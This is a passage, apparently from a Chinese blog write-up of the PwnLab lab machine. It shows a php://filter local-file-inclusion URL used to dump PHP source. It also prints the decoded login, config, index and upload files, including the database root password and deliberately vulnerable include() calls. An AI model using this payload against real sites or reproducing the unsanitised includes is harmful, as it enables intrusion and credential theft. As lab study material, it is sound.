&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nmap扫描发现了用户名是user，还有两个子目录&lt;code&gt;/images/&lt;/code&gt;和&lt;code&gt;/upload/&lt;/code&gt;，80端口打开是一个网页，提示需要登录，尝试弱密码和sql万能密码都无法登录。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723203140798" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723203140798.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723203204381" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723203204381.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723204246451" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723204246451.png"&gt;&lt;/p&gt;
&lt;p&gt;发现主页的链接似乎是有文件包含。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.143/?page&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;login
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723204931336" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723204931336.png"&gt;&lt;/p&gt;
&lt;p&gt;解码这串base64得到&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;config.php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$mysqli&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;mysqli&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$database&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pass&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$luser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$lpass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pass&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$mysqli&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;SELECT * FROM users WHERE user=? AND pass=?&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;bind_param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ss&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$luser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$lpass&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;store_Result&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;num_rows&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;		&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$luser&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;		&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Location: ?page=upload&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Login failed.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;form action=&amp;#34;&amp;#34; method=&amp;#34;POST&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;label&amp;gt;Username: &amp;lt;/label&amp;gt;&amp;lt;input id=&amp;#34;user&amp;#34; type=&amp;#34;test&amp;#34; name=&amp;#34;user&amp;#34;&amp;gt;&amp;lt;br /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;label&amp;gt;Password: &amp;lt;/label&amp;gt;&amp;lt;input id=&amp;#34;pass&amp;#34; type=&amp;#34;password&amp;#34; name=&amp;#34;pass&amp;#34;&amp;gt;&amp;lt;br /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;input type=&amp;#34;submit&amp;#34; name=&amp;#34;submit&amp;#34; value=&amp;#34;Login&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;/form&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;发现调用了&lt;code&gt;config.php&lt;/code&gt;用同样的方法查看这个文件。得到用户名和密码&lt;code&gt;root/H4u%QJ_H99&lt;/code&gt;,尝试登录，发现登录失败。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723205226308" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723205226308.png"&gt;&lt;/p&gt;
&lt;p&gt;config的源码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$server&lt;/span&gt;	 &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;H4u%QJ_H99&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Users&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;index的源码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//Multilingual. Not implemented yet.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//setcookie(&amp;#34;lang&amp;#34;,&amp;#34;en.lang.php&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lang&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;lang/&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_COOKIE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lang&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Not implemented yet.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;title&amp;gt;PwnLab Intranet Image Hosting&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;/head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;center&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;img src=&amp;#34;images/pwnlab.png&amp;#34;&amp;gt;&amp;lt;br /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;[ &amp;lt;a href=&amp;#34;/&amp;#34;&amp;gt;Home&amp;lt;/a&amp;gt; ] [ &amp;lt;a href=&amp;#34;?page=login&amp;#34;&amp;gt;Login&amp;lt;/a&amp;gt; ] [ &amp;lt;a href=&amp;#34;?page=upload&amp;#34;&amp;gt;Upload&amp;lt;/a&amp;gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;hr/&amp;gt;&amp;lt;br/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	if (isset($_GET[&amp;#39;page&amp;#39;]))
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		include($_GET[&amp;#39;page&amp;#39;].&amp;#34;.php&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	else
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		echo &amp;#34;Use this server to upload and share image files inside the intranet&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;/center&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;同样的方法查看upload的源码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;You must be log in.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		&amp;lt;form action=&amp;#39;&amp;#39; method=&amp;#39;post&amp;#39; enctype=&amp;#39;multipart/form-data&amp;#39;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			&amp;lt;input type=&amp;#39;file&amp;#39; name=&amp;#39;file&amp;#39; id=&amp;#39;file&amp;#39; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			&amp;lt;input type=&amp;#39;submit&amp;#39; name=&amp;#39;submit&amp;#39; value=&amp;#39;Upload&amp;#39;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		&amp;lt;/form&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;/html&amp;gt;
